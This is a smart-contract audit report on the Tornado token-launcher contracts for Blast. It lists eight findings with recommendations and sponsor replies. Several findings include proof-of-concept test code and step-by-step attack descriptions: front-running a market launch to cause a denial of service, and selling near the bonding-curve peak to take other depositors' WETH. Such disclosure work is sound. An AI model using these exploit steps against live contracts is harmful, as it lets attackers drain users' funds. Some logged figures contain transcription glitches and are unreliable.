code4rena

Tornado

Smart Contract Security Assessment

Version 1.0

Audit dates: Jun 14 — Jun 20, 2024

Audited by: csanuragjain
koolex

Contents

1. Introduction

1.1 About Zenith

Zenith is an offering by Code4rena that provides consultative audits from the very best security researchers in the space. We focus on crafting a tailored security team specifically for the needs of your codebase.

Learn more about us at https://code4rena.com/zenith.

1.2 Disclaimer

This report reflects an analysis conducted within a defined scope and time frame, based on provided materials and documentation. It does not encompass all possible vulnerabilities and should not be considered exhaustive.

The review and accompanying report are presented on an "as-is" and "as-available" basis, without any express or implied warranties.

Furthermore, this report neither endorses any specific project or team nor assures the complete security of the project.

1.3 Risk Classification

SEVERITY LEVEL	IMPACT: HIGH	IMPACT: MEDIUM	IMPACT: LOW
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

2. Executive Summary

2.1 About Tornado

Tornado Blast v1 is a sophisticated TG bot designed for Blast, facilitating easy and super-fast trading and interaction within the Blast ecosystem. We recognize the difficulty of navigating numerous dexes and finding opportunities amidst a deluge of information. Our goal is to simplify your navigation through this storm of opportunities. Therefore, we propose to offer this all-encompassing tool, enabling effortless trading and interaction with protocols.

2.2 Scope

Repository	kairos-loan/launcher-contracts-for-audit
Commit Hash	47fd00a07c78f8a06d4c5609de2dbb5f18972009

2.3 Audit Timeline

DATE	EVENT
Jun 14, 2024	Audit start
Jun 20, 2024	Audit end
Oct 29, 2024	Report published

2.4 Issues Found

SEVERITY	COUNT
Critical Risk	2
High Risk	2
Medium Risk	3
Low Risk	1
Informational	0
Total Issues	8

3. Findings Summary

ID	DESCRIPTION	STATUS
C-1	Assigning `s.wethReserve` a value from the balance could possibly cause DoS and/or initial price manipulation	Resolved
C-2	User can steal funds of other token depositors	Acknowledged

H-1	Storage collision with `slot0` of between BaseIndividualTokenMarket and ProxyWithRegistry	Resolved
H-2	Inconsistent price between Bonding curve and external DEX at transition time	Acknowledged
M-1	Users might be enforced to buy the token from Dex through Tornado which goes against the protocol design	Resolved
M-2	In case `msg.value + marketWethReserve == MAX_WETH_RESERVE`, `swapExactETHForTokens` function will fail	Resolved
M-3	Rebasing WETH token on Blast is not taken into account in Tornado	Resolved
L-1	Surplus amount returned from Thruster is locked in the market pointlessly after it is closed	Resolved

4. Findings

4.1 Critical Risk

A total of 2 critical risk findings were identified.

[C-1] Assigning `s.wethReserve` a value from the balance could possibly cause DoS and/or initial price manipulation

Severity: Critical	Status: Resolved

Context:

IndividualTokenMarket.sol#L75

Description: Assigning `s.wethReserve` a value from the balance is problematic. an adversary can cause DoS for a newly created market make it completely unfunctional. This can be done by front-running the `launch` TX. Moreover, the market creater can break the assumption of the token initial price set by Tornado.

Here are the steps simplified:

- User sends `launch` TX to create a new market.
- Adversary monitoring the mempool, sends WETH to the address of the new market.
    - To do this, Adversary should pre-compute the address as it is unknown before it is deployed.
    - For creating new markets, CREATE opcode is utilized (`new` keyword => CREATE opcode)

```
                newMarket = IMarket(address(new
ProxyWithRegistry(IImplementationRegistry(marketImplemRegistry()))))
;
```

tokenLauncher/Launcher.sol:L103-L104

- In this case, `new_market_address = keccak256(sender, nonce);` . For reference, check Blast node (*note: no diff from main EVM*):

```
contractAddr = crypto.CreateAddress(caller.Address(),
evm.StateDB.GetNonce(caller.Address()))
```

blast-geth/core/vm/evm.go:L553

    - Sender is the **Launcher** so we know it, nonce is number of TXs which can be known. Thus, Adversary now can compute the new market address being deployed.
- Adversary sends enough WETH to make the balance bigger than `MAX_WETH_RESERVE` (which is 3 ether)

```
        function MAX_WETH_RESERVE() public pure override returns
(uint256) {
                return 3 ether;
        }
```

tokenLauncher/base/ProductionConstants.sol:L15-L17

    - This can be as big as 3 ether minus the initial purchase (0.001) but also can be very low. This depends on if the market creater, decided to buy from the token on creation. Check ExcedentMsgValue function
- Assume there is no ExcedentMsgValue, Adversary sent `3 ether - 0,001 + 1 wei` , `s.wethReserve` will have 3 ether +1 wei.
- This cause a DoS for `launchTokenOnDex` function.

```
function launchTokenOnDex() external marketIsOpen emitSync {
    MarketStorage storage s = getMarketStorage();
    if (s.wethReserve != MAX_WETH_RESERVE()) {
        revert IncorrectLaunchWEthReserve(MAX_WETH_RESERVE(),
s.wethReserve);
    }
```

tokenLauncher/IndividualTokenMarket.sol:L159-L164

- Also `buy` function

```
    if (s.wethReserve > MAX_WETH_RESERVE()) {
        revert BuyAmountOverPoolMaxEthReserve();
    }
```

tokenLauncher/IndividualTokenMarket.sol:L97-L100

- Furthermore, the market creater can exploit this bug to manipulate the initial price of the token since both the `INITIAL_TOKEN_AMOUNT_PURCHASE` and `INITIAL_PURCHASE_ETH_PRICE` are fixed, and because Bancor Formula relies on the

weth reserve, the initial price will be calculated accordingly. As a result, it breaks the token initial price assumed by Tornado.

Please note that the second scenario (manipulating the initial price) doesn't need front-running since it is the same user.

For the first scenario, sequencer is to be decentralized in future (i.e. for OP stack), so the risk is still there. However, the malicious party can still send the TX beforehand without the need of front-running. Since the new market address is predictable (i.e. deterministic)

Tornado: Fixed with PR-1

Zenith: Verified.

[C-2] User can steal funds of other token depositors

Severity: Critical	Status: Acknowledged

Context:

- Router.sol#L104

Description: The Bonding curve causes the prices per token to go up as the `WETH` reserves increases. This creates an opportunity for early token depositors and even token creator to steal other depositor's `WETH` by selling just before reaching `MAX_WETH_RESERVE`

POC

Note: Both `owner` and `Bob` are normal users in the below test case

- Case 1

Initial depositor sells all his token before token could launch on DEX (`WETH` reserve is just a few amount below `3` ETH)

```
function testStealFundsInitialDepositor() public {
        // Bob deposit WETH to contract
        vm.startPrank(bob);
        WETHTyped().deposit{value: 20e18}();

        // Bob approves the contract to use his WETH and Market tokens
        WETHTyped().approve(address(market), 20e18);
        token.approve(address(market), 1e50);
        vm.stopPrank();

        // Similarly 2nd user `owner` also deposit and approve tokens
        vm.startPrank(owner);
        WETHTyped().deposit{value: 20e18}();
        WETHTyped().approve(address(market), 20e18);
        token.approve(address(market), 1e50);

        // Owner buys tokens worth 0.09e18-INITIAL_PURCHASE_ETH_PRICE
WETH
        uint256 amountBought = 0;
        uint256 tokenRcvd = market.buy(0.09e18 -
INITIAL_PURCHASE_ETH_PRICE(), address(owner));
        vm.stopPrank();

        // Bob buys tokens worth 2.9e18 WETH
        vm.startPrank(bob);
```

```
                // Simulating multiple buys
        amountBought += market.buy(0.1e18, address(bob));
        amountBought += market.buy(0.5e18, address(bob));
        amountBought += market.buy(0.8e18, address(bob));
        amountBought += market.buy(0.05e18, address(bob));
        amountBought += market.buy(0.05e18, address(bob));
        amountBought += market.buy(0.3e18, address(bob));
        amountBought += market.buy(0.3e18, address(bob));
        amountBought += market.buy(0.6e18, address(bob));
        amountBought += market.buy(0.2e18, address(bob));
        assertEq(amountBought, token.balanceOf(bob));
        vm.stopPrank();

        // Owner sells all his tokens
        vm.startPrank(owner);
        uint256 wethRcvd = market.sell(tokenRcvd, address(owner));

        // Bug:
        // Shows received WETH is much greater than deposited amount
        assertGt(wethRcvd, 0.09e18 - INITIAL_PURCHASE_ETH_PRICE());
        console.log("Attacker invested %i and obtained %i", 0.09e18 -
INITIAL_PURCHASE_ETH_PRICE(), wethRcvd);
        console.log("Attacker profit %i", wethRcvd - (0.09e18 -
INITIAL_PURCHASE_ETH_PRICE()));
        vm.stopPrank();

        // Bob sells all his tokens
        vm.startPrank(bob);
        uint256 amountSold = 0;
        amountSold = market.sell(amountBought, address(bob));

        // Bug
        // Bob gets much lesser than what he invested
        assertLt(amountSold, 2.9e18);
        console.log("Victim invested 2.9e18 and obtained %i",
amountSold);
        console.log("Victim loss %i", 2.9e18 - amountSold);
        vm.stopPrank();

        // Lets see how much will INITIAL_PURCHASE_ETH_PRICE be worth
        token.approve(address(market), 1e50);
        uint256 wethRcvd2 = market.sell(52002234359113284459113 7,
address(bob));
        console.log("Initial WETH received after sell %i", wethRcvd2);
```

```
        assertEq(wethRcvd + amountSold + wethRcvd2, 2.99e18);
    }
```

```
Logs:
  Attacker invested 89000000000000000 and obtained 1686024566374313375
  Attacker profit 1597024566374313375
  Victim invested 2.9e18 and obtained 1302975433625686624
  Victim loss 1597024566374313376
  Initial WETH received after sell 1000000000000001
```

- Case 2 Token creator sells all his token and steal `WETH` from other depositors

```
function testTokenOwnerStealFunds() public {
        // Bob deposit WETH to contract
        vm.startPrank(bob);
        WETHTyped().deposit{value: 20e18}();

        // Bob approves the contract to use his WETH and Market tokens
        WETHTyped().approve(address(market), 20e18);
        token.approve(address(market), 1e50);
        vm.stopPrank();

        // Similarly 2nd user `owner` also deposit and approve tokens
        vm.startPrank(owner);
        WETHTyped().deposit{value: 20e18}();
        WETHTyped().approve(address(market), 20e18);
        token.approve(address(market), 1e50);

        // Owner buys tokens worth 1e18-INITIAL_PURCHASE_ETH_PRICE WETH
        uint256 amountBought = 0;
        uint256 tokenRcvd = market.buy(1e18 -
INITIAL_PURCHASE_ETH_PRICE(), address(owner));
        vm.stopPrank();

        // Lets see how much will INITIAL_PURCHASE_ETH_PRICE be worth
        token.approve(address(market), 1e50);

                // Bug , Token creator shares are sold at very large
price
        uint256 wethRcvd2 = market.sell(5200223435911328445911 37,
address(bob));
        console.log("Initial WETH invested %i",
INITIAL_PURCHASE_ETH_PRICE());
```

```
        console.log("Initial WETH received after sell %i", wethRcvd2);

        // Owner sells all his tokens
        vm.startPrank(owner);
        uint256 wethRcvd = market.sell(tokenRcvd, address(owner));
        // Shows received WETH is greater than deposited amount
        assertLt(wethRcvd, 1e18 - INITIAL_PURCHASE_ETH_PRICE());
        console.log("User invested %i and obtained %i", 1e18 -
INITIAL_PURCHASE_ETH_PRICE(), wethRcvd);
        console.log("User loss %i", (1e18 - INITIAL_PURCHASE_ETH_PRICE())
- wethRcvd);

        vm.stopPrank();
    }
```

```
Logs:
  Initial WETH invested 1000000000000000
  Initial WETH received after sell 271000789952703050
  User invested 999000000000000000 and obtained 728999210047296950
  User loss 271000789952703050
```

Recommendation Since Attacker is selling once prices have reached peak of curve, he will sell token (got more token since bought early) at much higher prices and also cause reserves to decrease which indirectly causes price to decrease. This causes loss for remaining depositors Product team needs to review the token price design and implement measures to ensure fair pricing for all depositors.

Tornado: We disagree with this being an issue. The argument misses the purpose and expected behavior of a token launcher. On the platform, anyone can create an instantly tradable token. High volatility and large distributions for early buyers are features not bugs. Getting to know the token creators and early buyers and figure out if they should be trusted is part of the fun. Moreover tokens may or may not gain intrinsic value outside of the launcher from the token creator of from the community. When users are buying a token on the platform they are not depositing Eth to be redeemed later. They are buying a token. The token not being redeemable for the same amount of Eth or any at all on the platform after buying is irrelevant in the context of the audit.

Zenith: Verified

4.2 High Risk

A total of 2 high risk findings were identified.

[H-1] Storage collision with `slot0` of between BaseIndividualTokenMarket and ProxyWithRegistry

Severity: High	Status: Resolved

Context:

https://github.com/kairos-loan/launcher-contracts-for-audit/blob/47fd00a07c78f8a06d4c5609de2dbb5f18972009/apps/contracts/src/commons/ProxyWithRegistry.sol#L21

Description:

There is a storage collision here in `slot0` between **BaseIndividualTokenMarket** and **ProxyWithRegistry** (which inherits from BlastGasAndYield => **Ownable**).

Proxy shouldn't inherit from contracts that allocate slots starting from 0, since the impl contract starts from 0 slot usually.

ProxyWithRegistry Storage layout

```
{
  "storage": [
    {
      "astId": 8,
      "contract": "src/commons/ProxyWithRegistry.sol:ProxyWithRegistry",
      "label": "_owner",
      "offset": 0,
      "slot": "0", ==> using slot 0
      "type": "t_address"
    }
  ],
  "types": {
    "t_address": {
      "encoding": "inplace",
      "label": "address",
      "numberOfBytes": "20"
    }
  }
}
```

BaseIndividualTokenMarket Storage layout


```
{
  "storage": [
    {
      "astId": 69510,
      "contract":
"src/tokenLauncher/IndividualTokenMarket.sol:BaseIndividualTokenMarket",
      "label": "version",
      "offset": 0,
      "slot": "0", ==> using slot 0
      "type": "t_string_storage"
    },
    {
      "astId": 69548,
      "contract":
"src/tokenLauncher/IndividualTokenMarket.sol:BaseIndividualTokenMarket",
      "label": "maxExpArray",
      "offset": 0,
      "slot": "1",
      "type": "t_array(t_uint256)128_storage"
    }
  ],
  "types": {
    "t_array(t_uint256)128_storage": {
      "encoding": "inplace",
      "label": "uint256[128]",
      "numberOfBytes": "4096",
      "base": "t_uint256"
    },
    "t_string_storage": {
      "encoding": "bytes",
      "label": "string",
      "numberOfBytes": "32"
    },
    "t_uint256": {
      "encoding": "inplace",
      "label": "uint256",
      "numberOfBytes": "32"
    }
  }
}
```

Luckily the affected storage is `_owner` (from Ownable which is not used) and `version` from BancorFormula. However, if the ImplementationRegistry used to set a new Implementation by Tornado, critical impact is likely.

Recommendation: Remove BlastGasAndYield, since it is not used nor Ownable

Tornado: Fixed with PR-3

Zenith: Verified.

[H-2] Inconsistent price between Bonding curve and external DEX at transition time

Severity: High	Status: Acknowledged

Context https://github.com/kairos-loan/launcher-contracts-for-audit/blob/47fd00a07c78f8a06d4c5609de2dbb5f18972009/apps/contracts/src/tokenLauncher/Router.sol#L57

Description Once `WETH` reserves reaches `3 WETH`, the token is launched on DEX.

As per docs:

When moving to the external DEX, the token price should continue to evolve continuously, I.e at transition time, the price is the same on the bonding curve and on the external DEX.

It seems that price is not the same on bonding curve and on the external DEX at transition time. As shown in POC, it was beneficial for User to have sold his token on Bonding curve rather than on DEX. Since Users are selling when price is at its peak in the Bonding curve thus they will derive more profits when compared to selling at DEX

Pre-req

Add below dependencies:

- IMarket

```
        function buyFromDex(IERC20 token2, uint256 ethAmount, address to)
external payable returns (uint256 tokenAmountBought);
        function sellFromDex(IERC20 token2, uint256 tokenAmount, address
to) external payable returns (uint256 tokenAmountBought);
```

- IndividualTokenMarket.sol

```
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Erc20CheckedTransfer } from "tornado/Erc20CheckedTransfer.sol";
import { sendEth } from "tornado/SendEth.sol";
import { IMarket } from "./interfaces/IMarket.sol";
import { Deployments } from "./base/Deployments.sol";
import { ConfigConstants } from "./base/ConfigConstants.sol";
import { IPartialUniswapV2Router02 } from
"tornado/interfaces/uniswapV2/IPartialUniswapV2Router02.sol";
import { IUniswapWethExposer } from
"tornado/interfaces/uniswapV2/IUniswapWethExposer.sol";
```

```
function buyFromDex(IERC20 token2, uint256 ethAmount, address to)
external payable returns (uint256 tokenAmountBought) {
        address[] memory path = new address[](2);
        path[0] =
address(IUniswapWethExposer(postCurveDexRouter()).WETH());
        path[1] = address(token2);
        uint256[] memory amounts =
postCurveDexRouter().swapExactETHForTokens{ value: ethAmount }(
            0,
            path,
            to,
            block.timestamp
        );
        return amounts[1];
    }

function sellFromDex(IERC20 token2, uint256 tokenAmount, address to)
external payable returns (uint256 tokenAmountBought) {
        address[] memory path = new address[](2);
                path[0] = address(token2);
        path[1] =
address(IUniswapWethExposer(postCurveDexRouter()).WETH());
        uint256[] memory amounts =
postCurveDexRouter().swapExactTokensForETH(
            tokenAmount,
                        0,
            path,
            to,
            block.timestamp
        );
        return amounts[1];
    }
```

POC

```
function testSellUniswap() public {
        // Bob deposit WETH to contract
        vm.startPrank(bob);
        WETHTyped().deposit{value: 20e18}();

        // Bob approves the contract to use his WETH and Market tokens
        WETHTyped().approve(address(market), 20e18);
        token.approve(address(market), 1e50);
```

```
        vm.stopPrank();

        // user `owner` also deposit and approve tokens
        vm.startPrank(owner);
        WETHTyped().deposit{value: 20e18}();
        WETHTyped().approve(address(market), 20e18);
        token.approve(address(market), 1e50);

        // Owner buys tokens worth 3e18-INITIAL_PURCHASE_ETH_PRICE WETH
        uint256 amountBought = 0;
        uint256 tokenRcvd = market.buy(3e18 -
INITIAL_PURCHASE_ETH_PRICE(), address(owner));
        vm.stopPrank();

        assertEq(WETHTyped().balanceOf(address(market)), 3e18);
        market.launchTokenOnDex();
        assertEq(WETHTyped().balanceOf(address(market)), 0);

        // Owner sells 1/3 tokens
        vm.startPrank(owner);
        token.transfer(address(market), tokenRcvd / 3);
        uint256 wethRcvd = market.sellFromDex(token, tokenRcvd / 3,
address(owner));
        console.log("DEX:: Attacker receive weth %i for %i token",
wethRcvd, tokenRcvd / 3);
        vm.stopPrank();
    }

    function testSellBondingCurve() public {
        // Bob deposit WETH to contract
        vm.startPrank(bob);
        WETHTyped().deposit{value: 20e18}();

        // Bob approves the contract to use his WETH and Market tokens
        WETHTyped().approve(address(market), 20e18);
        token.approve(address(market), 1e50);
        vm.stopPrank();

        // user `owner` also deposit and approve tokens
        vm.startPrank(owner);
        WETHTyped().deposit{value: 20e18}();
        WETHTyped().approve(address(market), 20e18);
        token.approve(address(market), 1e50);

        // Owner buys tokens worth 3e18-INITIAL_PURCHASE_ETH_PRICE WETH
        uint256 amountBought = 0;
```

```
        uint256 tokenRcvd = market.buy(3e18 -
INITIAL_PURCHASE_ETH_PRICE(), address(owner));
        vm.stopPrank();

        // Owner sells tokenRcvd/3 tokens
        vm.startPrank(owner);
        uint256 wethRcvd = market.sell(tokenRcvd / 3, address(owner));
        console.log("BondingCurve:: Attacker receive weth %i for %i
token", wethRcvd, tokenRcvd / 3);
        vm.stopPrank();
    }
```

```
Logs:
  BondingCurve:: Attacker receive weth 20154217379596O6143 for
232665921880295571846961 7 token
  DEX:: Attacker receive weth 1443879846614888973 for
232665921880295571846961 7 token
```

Recommendation Price should be near competent on the bonding curve and on the external DEX at transition time.

Note This also means that below condition will not hold true

Notably, getReserves() and the Sync event should emit the same values uniswapV2 would at an equal token price.

Tornado We disagree with this being an issue or not following the requirements of the code as communicated before the audit (as explained here https://github.com/code-423n4/2024-06-tornado-launcher-proleague/pull/15#discussion_r1644288316) Also, the note claims that getReserves() and the Sync event are emitted in a different fashion as univ2 is not demonstrated and I'm not sure in what way you find it different.

Zenith: Acknowledged

4.3 Medium Risk

A total of 3 medium risk findings were identified.

[M-1] Users might be enforced to buy the token from Dex through Tornado which goes against the protocol design

Severity: Medium	Status: Resolved

Context:

https://github.com/kairos-loan/launcher-contracts-for-audit/blob/47fd00a07c78f8a06d4c5609de2dbb5f18972009/apps/contracts/src/tokenLauncher/Router.sol#L51

Description:

Two Scenarios (probably one issue)

First

Assume there are contracts/users buying from the market directly and not through the router, the market reach `MAX_WETH_RESERVE` , and `launchTokenOnDex` is called directly, therefore, the market gets closed. Because of this, the function `buy` will revert as it tries to buy from a closed market. As a result, users can not buy through the router.

Second

The market reach `MAX_WETH_RESERVE` but the market is still open (simply no one called `launchTokenOnDex` directly), now a user tries to buy through the router, it will buy zero amount from the market, it seems that it won't revert, then `launchTokenOnDex` will be called and the TX succeeds. The result, subsequent buying will revert.

Note: market => BondingCurve

=> Update: After discussing with the sponsor, it turns out to be a design choice (see below). However, external observers aren't aware of the fact that Tornado buys automatically from Dex on behalf of the user (if the msg.value provided will make wethReserve exceeds the max 3 ether), this is a problem because If I trust the router to only buy from Tornado (according to the design choice), it shouldn't in anyway buy from Dex. Even if the user sends the exact msg.value to reach 3 ether (i.e. the user decides to buy only from BondingCurve), other similar transactions sent nearly during the same time might be processed before, which enforce buying from Dex for those who don't wish to

Recommendation: Add external a flag (true/false) to be passed by the user, if they agree to buy from Dex in case the wethReserve reached the maximum.

Note: the sponsor suggested to add an additional function to keep compatibility with UNISwapV2 interface (which I agree).

Tornado: It is a design choice that buys to the router revert post launch. It separate concerns : as a Dex, tornado does not have the token anymore. External observers correctly see that the token is on a single Dex at a time (if users don't provide liquidity on more of course)

Zenith: Verified

[M-2] In case `msg.value + marketWethReserve == MAX_WETH_RESERVE`, `swapExactETHForTokens` function will fail

Severity: Medium	Status: Resolved

Context:

https://github.com/kairos-loan/launcher-contracts-for-audit/blob/47fd00a07c78f8a06d4c5609de2dbb5f18972009/apps/contracts/src/tokenLauncher/Router.sol#L54

Description:

In case `msg.value + marketWethReserve == MAX_WETH_RESERVE`, the function will revert. This is because, after buying from Bonding Curve, it tries to buy from Thruster with zero amount.

```
     uint256 ethAmountToSpendOnDex = msg.value -
ethAmountToSpendOnBondingCurve;
```

Thruster doesn't allow buying with zero (i.e. doesn't skip it, it cause a revert).

```
    // given an input amount of an asset and pair reserves, returns the
maximum output amount of the other asset
    function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256
reserveOut)
        internal
        pure
        returns (uint256 amountOut)
    {
        require(amountIn > 0, "ThrusterLibrary:
INSUFFICIENT_INPUT_AMOUNT");
```

https://blastscan.io/address/0x44889b52b71e60de6ed7de82e2939fcc52fb2b4e#code#F10#L59

Note: amountIn here is eth.

Tornado: Resolved with PR-4

Zenith: Verified

[M-3] Rebasing WETH token on Blast is not taken into account in Tornado

Severity: Medium	Status: Resolved

Context:

- IndividualTokenMarket.sol#L167-L168 BlastMainnetDeployments.sol#L16

Description: WETH token on Blast is rebasing and it is not taken into account in Tornado. This creates different problems in the accounting, especially the market (i.e. IndividualTokenMarket).

To demonstrate a particular impact imagine the following scenario:

- WETH balance increases (due to generated yield from Blast)
- The market successfully reaches 3 ether
- Liquidity moved to Thruster

```
        WETHTyped().withdraw(MAX_WETH_RESERVE());
```

tokenLauncher/IndividualTokenMarket.sol:L167-L168

- Notice that, only MAX_WETH_RESERVE is withdrawn which is 3 ether.
- As a result, any generated yield is stuck forever in WETH contract as there is no way to claim it.

Please note that, WETH balance doesn't decrease unlike the usual behaviour of rebasing tokens.

References:

Similar to ETH, WETH and USDB on Blast is also rebasing and follows the same yield mode configurations.

However, unlike ETH where contracts have Disabled yield by default, WETH and USDB accounts have Automatic yield by default for both EOAs and smart contracts.

- weth-yield documentation

WETH contract addr:

- https://blastscan.io/address/0x83acb050aa232f97810f32afacde003303465ca5#code

Recommendation: To mitigate this, the shortest solution is, on market creation, opt out from WETH yield generation.

Tornado: Fixed with PR-2

Zenith: Verified.

4.4 Low Risk

A total of 1 low risk findings were identified.

[L-1] Surplus amount returned from Thruster is locked in the market pointlessly after it is closed

Severity: Low	Status: Resolved

Context:

https://github.com/kairos-loan/launcher-contracts-for-audit/blob/47fd00a07c78f8a06d4c5609de2dbb5f18972009/apps/contracts/src/tokenLauncher/IndividualTokenMarket.sol#L168

Description:

On `launchTokenOnDex`, the liquidity is moved to Thruster DeFi. This is done by calling `postCurveDexRouter().addLiquidityETH`. However, when adding liquidity, dust amount is returned to the sender. This is done on Thruster side.

```
        // refund dust eth, if any
        if (msg.value > amountETH)
    TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
```

Thruster:code:F1:L106

In this case, the sender is the market (i.e. IndividualTokenMarket). As a result, the ether native is locked in the contract pointlessly since the market is closed and unusable. While the amount is dust and regardless how much it is, it could be utilized to pay the caller of `launchTokenOnDex` as an incentive even if it is symbolic, this is in favour in the protocol and easy to implement. This can be done by transferring the native balance of the contract to the msg.sender as a last step.

Recommendation: Transfer the native balance of the contract to the msg.sender as a last step.

Tornado: Since this case does not happen in practice (cf launcher txs), and the risk involves dust only, no change seems to be the best strategy to me here.

Zenith: Verified